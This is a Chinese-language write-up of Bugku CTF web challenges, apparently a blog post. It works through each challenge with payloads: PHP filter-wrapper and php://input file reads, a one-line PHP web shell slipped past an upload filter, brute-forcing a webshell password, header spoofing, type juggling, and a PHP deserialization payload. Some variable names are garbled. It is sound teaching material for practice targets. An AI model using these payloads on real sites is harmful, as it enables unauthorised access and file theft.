bugku_web_writeup

正文

Web2

直接查看源碼即可

計算器

Fd23ee.png
答案爲兩位數,輸入卻只能輸入一位,F12查看源碼

Fd28dH.png
然後,右鍵編輯HTML,改成maxlengt=“2”,輸入計算結果,得到flag

web基礎$_Get

Fd2tJI.png
PHP語句,GET方式上傳信息,直接在後面加上?what=flag,得到flag
Fd2dQf.png

web基礎$_POST

Fd2Deg.png
這題要post數據,Firefox安裝一個hackbar插件,F12打開,輸入如下,即可得到flag
Fd2fyT.png

矛盾

Fd2LSx.png

PHP函數
bool is_numeric ( mixed $var )
檢測量是否爲數字或數字字符
如果var是數字或者數字字符則返回true,否則返回false

題目的意思是numnum不是數字活數字字符,但是還要num=1
$GET方式傳參,可以令num=1x(x可以爲任意字符),即可得到flag
Fd2jOO.png

Web3

FdRFpt.png

查看源碼,發現一串HTML字符
FdRZnS.png

寫一個腳本,代碼如下

s='KEY{J2sa42ahJK-HS11III&#125'
key=s.split(';')
flag=''
for i in key:
    flag+=chr(int(i[2:]))
print flag

拿到flag
FdRdhR.png

域名解析

FdRrjK.png

bugku原來的IP爲下面的

FdRynO.png

這個IP也是無法訪問的
FdR6BD.png

打開C:/windows/system32/drivers/etc目錄下的hosts文件
FdRcHe.png

在最後一行加上123.206.87.240 flag.bugku.com,保存設置
FdR2AH.png

再次訪問flag.bugku.com,得到flag,
FdR43t.png

你必須讓他停下

直接用burpsuite抓包,然後找一找,就找到了
FdRTu8.png

本地包含

FdoriF.png

REQUEST默認情況下包含了_GET\_GET,_POST 和 $_COOKIE 的數組。

這題的目的就是要看到flag.php裏的內容
方法有很多

?hello=file('flag.php')

?hello=1);show_source('flag.php');//

?hello=1);show_source('flag.php');var_dump(

都可以的得到flag
FdTEwV.png

變量一

FdTQyR.png

發現有$的變量,直接用全局變量GLOBALS即可,
?args=GLOBALS,進而構造出var_dump($GLOBALS)

payload:

http://123.206.87.240:8004/index1.php?args=GLOBALS

Web3

查看源碼,發現JSFUCK
FdTYFO.png

複製粘貼到console即可,或者JSFUCK在線解密一下
FdTNfe.png

頭等艙

很簡單,burpsuite抓包即可。
FdT5mq.png

網站被黑

需要用御劍掃描器,掃描一下網站的後臺
FdTO1J.png

打開index.php是原來網頁,打開shell.php,出現webshell,要密碼
Fd7S76.png

直接用burpsuite暴力破解,
先抓包,然後send to intruder
Fd7ZnI.png

點擊positions,先點擊clear,清除123456add,然後選中密碼123456,點擊add,添加
Fd7mHP.png

點擊payload,進行如下選擇,其他默認
Fd7uAf.png

然後點擊start attack
Fd7M4S.png

一會之後,得到結果,然後觀察爆破結果,length大部爲1125,只有一個1110,異常,猜測這個就是密碼,嘗試登錄,
Fd7l9g.png

會回顯flag

管理員系統

查看源代碼,發現一段base64
Fd7jPS.png

解密後得到
FdH9rn.png

嘗試登錄,用戶名爲admin,密碼爲test123
FdHiV0.png

IP禁止訪問,請聯繫本地管理員登錄
要僞裝一下,僞裝成本地IP,在headers添加一個僞裝頭部
Fdq7r9.png

即可得到flag
Fdqzxe.png

Web4

查看源碼,發現兩串URl編碼,在線解碼後,發現
FdOd1S.png

直接提交,得到flag
Fw9vTg.png

flag在index裏

payload:

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

url上面有file參數,就想到了php裏面的file協議,用base64轉碼把index.php裏面的內容讀出來,再解碼,得到flag

輸入密碼查看flag
要輸入5位數字,字節暴力破解,bp一下即可得到flag
FwCAmT.png
FwCCpn.png

點擊一百萬次

查看源碼
FwCmtJ.png

post一個clicks=1000000即可
FwC80O.png

本地包含2

查看源碼,發現有個upload.php
FwCttH.png

訪問看看,到了一個文件上傳網頁
FwCNhd.png

構造一句話木馬,

<script language=php>system("ls")</script>

更改文件名爲1.php;.jpg,然後上傳
FwCrB8.png

查看
FwC6Ag.png

可以直接看到包含的文件
FwPCUe.png

再訪問this_is_th3_F14g_154f65sd4g35f4d6f43.txt,即可得到flag
FwP5RA.png

各種繞過

FwiKL6.png

GET獲取uname,id
POST獲取passwd

===:比較兩個變量的只和類型 ==:比較值,不比較類型
要使uname的sha1和值與passwd的sha1的值相等即可,但是同時他們兩個的值又不能相等
很熟悉的套路 只要構造數組

構造,即可得到flag
FwFnhQ.png

求getshell

是一道文件上傳題,
開始改了各種後綴名,嘗試了很多都不行

好不容易拿到這個的時候,還以爲快成功了,搜了搜wp,發現還是做錯了
F0YLVK.png

用bp抓包後,然後更改頭部信息Content-Type,
F0YX5D.png

通過修改Content-type後字母的大小寫可以繞過檢測,
分別將後綴名修改爲php2, php3, php4, php5, phps, pht, phtm, phtml(php的別名),發現只有php5沒有被過濾
然後修改文件後綴名爲.php5

F0Yx8H.png
F0tSxA.png

程序員的本地網站

要求從本地訪問
直接bp抓包,僞裝成本地登錄,在頭部添加 X-forwarded-for:127.0.0.1

F0tka8.png

在做題過程中發現了點問題,不知道是迷惑人,還是存在的bug

F0te2j.png
F0tKrq.png
F0tMq0.png
F0t1aT.png
F0t3IU.png

cookie欺騙

F0tJG4.png
URL上有段base64,解密後的信息是"keys.txt"

F0tdqx.png
參數line是按行返回信息

從keys.txt可以看出,"filename="後面直接加的是文件名的base64編碼

猜測index.php文件是否存在,把index.php轉成base64:aW5kZXgucGhw
填入url,
payload:http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw

查看源碼,有信息
F0tBdK.png

把line改成line=3試試,有信息
F0tDIO.png

寫一個腳本,獲得index.php中的信息

import requests

re=requests.Session()
url='http://123.206.87.240:8002/web11/index.php'

for i in range(0,20):
    key={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=re.get(url,params=key).content
    code=str(a,encoding="utf-8")
    print(code)

拿到index.php的源碼
F0tyJe.png

可以看到,cookie的名字和值都是"margin"
F0t6RH.png

修改cookie:margin=margin ,修改filename的值爲keys.php的base64編碼,訪問keys.php(圖中標1處,即爲keys.php的base64編碼)
F0tczd.png

速度要快

查看源碼,要post一個margin
F0theP.png

bp抓包,
F0t5o8.png

Base64解碼之後,又一個base64,再解碼
F0t7WQ.png

得到幾個數字,沒什麼用啊
F0tHzj.png

bp又抓了一次,發現flag居然變了,又進行了解碼,也沒用
F0tqQs.png

看了大佬的wp,使用腳本做的,學習一下

import requests
import base64

url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因爲flag在消息頭裏

mid=base64.b64decode(headers['flag'])

mid=mid.decode()#爲了下一步用split不報錯,b64decode後操作的對象是byte類型的字符串,而split函數要用str類型的

flag = base64.b64decode(mid.split(':')[1])#獲得flag:後的值
data={'margin':flag}

print (r.post(url,data).text)#post方法傳上去

拿到flag
F0tvwV.png

過狗一句話

題目給的代碼

<?php 
	$poc="a#s#s#e#r#t"; 
	$poc_1=explode("#",$poc);
	$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 	$poc_2($_GET['s']) 
?>

explode()函數可以在官方文檔看詳細信息,就是把字符串打散成數組。

exlpde()分割a#s#s#e#r#t爲assert,使用assert()函數的解析傳進來的s串,那就說明可以執行代碼。

payload:

s=print_r(scandir(’./’)) 然後讀取fl4g.txt

s=print_r(glob("*.*")) 然後讀取show_source(“fl4g.txt”)**

使用file_get_contents(“flag.txt”)讀取文件**

讀取文件還可以使用readfile()和fopen(),可以任意讀取文件。

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

md5 collision

題目提示是MD5碰撞,開始試了幾個a=1之類的,都報是false,猜測應該是要輸入的這個值,MD5之後是以0e開頭的字符串,因爲,PHP在處理哈希字符串時,會利用!=或==來對哈希值進行比較,它把每一個以0e開頭的哈希值都解釋爲0

payload:?a=s155964671a

never give up

打開題目,看看源碼,發現一個1.html,查看源碼,

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

可以看到中間有一大段base64加密的串,還混這url,base64解密之後,是一段url編碼,和一些語句,

%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再次url解碼之後,得到源碼

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
}

if(stripos($a,’.’))

if($data==“bugku is a nice plateform!” and id==0andstrlen(id==0 and strlen(b)>5 and eregi(“111”.substr(b,0,1),&quot;1114&quot;)andsubstr(b,0,1),&quot;1114&quot;) and substr(b,0,1)!=4)

要求a中不能有字符,id不能是空,且id=0,data=“bugku is a nice plateform!”,id=0,b的長度>5,"111"拼接上b的第一個字符=“1114”,但是b的低一個字符有不能=4,這樣纔可以包含f412a3g.txt

我們一點點來分析,

PHP在處理數字與字符串的結合是會把第一個數字當做整個串的值,比如"1asd"=1,那麼我們只要使id的值,是一個字符串,就可以使id弱等於0,

源碼中變量 $data 是由 file_get_contents()讀取的 ,file_get_contents() 函數是用於將文件的內容讀入到一個字符串中的方法,函數讀取變量 $a 的值而得,所以 $a 的值必須爲數據流。

我們不可能創建一個a文件,再寫入數據bugku is a nice plateform!。

那麼,要讓a=bugku is a nice plateform!,只能利用,用php僞協議 php:// 來訪問輸入輸出的數據流,它的大概意思就是可以讀取我們post傳遞的只讀數據流。所以,令 $a = "php://input",並post提交字符串 bugku is a nice plateform!

而對於eregi(“111”.substr($b,0,1),“1114”),很簡單,直接用%00繞過,可以使b=%0012345

AL4QYD.png

成得到flag。還有一個方法是,直接讀取f4l2a3g.txt

AL4JOI.png

也可以得到flag。

welcome to bugkuctf

查看源碼

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

有個hint.php,訪問試試,什麼都沒有,不死心,再?file=php://filter/read=convert.base64-encode/resource=hint.php讀一下,什麼都沒有,,,,,,

還是看源碼吧

file_get_contents($user,'r')==="welcome to the bugkuctf",意思是把名爲$user文件的內容輸出到一個字符串,並且要求這個字符串是"welcome to the bugkuctf",

這裏可以使用php://僞協議,讓user=php://,然後post提交welcome to the bugkuctf,這樣就可以使語句變成file_get_contents(php://,'r')

payload :GET:?txt=php://input POST:welcome to the bugkuctf

ALI0Mj.png

頁面變了,但是爲啥不是hello admin呢?

而且,flag在哪呢。。。。。。。

突然想到hint.php,再讀一次file=php://filter/read=convert.base64-encode/resource=hint.php

payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

ALoUTx.png

有東西啊,拿去解碼,

<?php     //hint.php
class Flag{//flag.php    
public $file;    
public function __tostring(){        
    if(isset($this->file)){           
        echo file_get_contents($this->file); 
        echo "<br>";
        return ("good");     
    }      }  }  ?> 

得到了源碼,可以然並卵啊,,,百思不得其解,最後,百度了一下,發現php://filter讀取index.php,居然把這個給忘了,,讀吧,

ALTdDs.png

再base64解碼,

<?php      //index.php
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能現在就給你們flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
?>    

if(preg_match("/flag/",$file)) //說明文件名不能含有flag

password=unserialize(password = unserialize(password);

第一句,說明文件名$file不能含有flag,

AL7ydI.png

而這段代碼中,有一個__tostring()方法,雙下劃線的魔術方法,當Flag類被實例化的時候會自動執行__tostring方法,而這個方法中寫了如果file文件存在,那麼就輸出file文件中的內容。

if(preg_match("/flag/",$file)){ 
		echo "不能現在就給你們flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  

如果文件名沒有"flag"了,就會把這個文件包含進來,然後passwordpassword進行反序列化,再輸出password的值。

所以我們要構造一個Flag類型的參數,並把這個參數傳給password。

但是password被unserialize()反序列化處理,所以要先serialize()序列化,關於序列化與反序列化,可以查看我的另一篇文章,PHP序列化與反序列化

直接PHP代碼在線執行

ALHcnJ.png

然後把 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}get提交

ALHTje.png

終於拿到flag了

字符?正則?

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

原文:https://blog.csdn.net/qq_30464257/article/details/81160656

關鍵的還是看preg_match中的內容嘛,這裏簡單講一下、需要用到的規則

1.表達式直接寫出來的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一個或一序列字符重複出現的次數,即前一個字符重複任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一個字符
6.[[:punct:]]代表任意一個字符,包括各種符號
7./i代表大小寫不敏感
8.{4-7}代表[0-9]中數字連續出現的次數是4-7次

payload:?id=keyaaakeyaaaakey:/a/aakeya@

你從哪裏來

打開題目,就一句話

ALL27j.png

換Google瀏覽器試了一下,發現還是不行,那麼只能修改header了

HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用於處理。

ALLocT.png

Web8

<?php
extract($_GET);
if (!empty($ac)){
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}
else{
echo "<p>sorry!</p>";
}}
?>

ac===ac的值===f,而**ff**的值是從文件名爲**fn的文件中讀取的,我們並不知道fnextract()使getfn**的值是什麼,這時看到了extract(),可以使用變量覆蓋,get傳入一個ac的值,然後利用php僞協議,使fn=php://inputpostfn=php://input,當通過post提交一個和ac一樣的值,然後php://input會讀入這個值,使fn=fn=這個值,從而覆蓋掉f的值

payload:get:?ac=1&fn=php://input post : 1

ALjdAJ.png

在網上還看到一種方法,根據題目提示,訪問flag.txt,看到文件內容是flags,然後構造payload:

?ac=flags&fn=flag.txt,也是可以的,這個應該纔是出題意圖。

ALjogP.png

flag.php

看看源碼,發現login只是個按鈕,怪不得怎麼點都沒反應

這個提示hint,找了半天不知道是什麼用,最後,get傳進去hint=1,發現了源碼

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?> 

(unserialize(cookie)===&quot;cookie) === &quot;KEY")

這樣看起來,只要把$KEY='ISecer:www.isecer.com'序列化之後,給cookie就可以了,事實上,也確實是把KEYcookieKEY序列化之後給cookie,只不過,KEY在序列化的時候,還未定義,是個空值,而不是$KEY='ISecer:www.isecer.com',所以,把$KEY=""序列化之後爲s:0:"";

ALvbxx.png

cookie的參數是ISecer,所以payload:

cookie: ISecer=s:0:"";

ALxVeS.png

Trim的筆記本

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章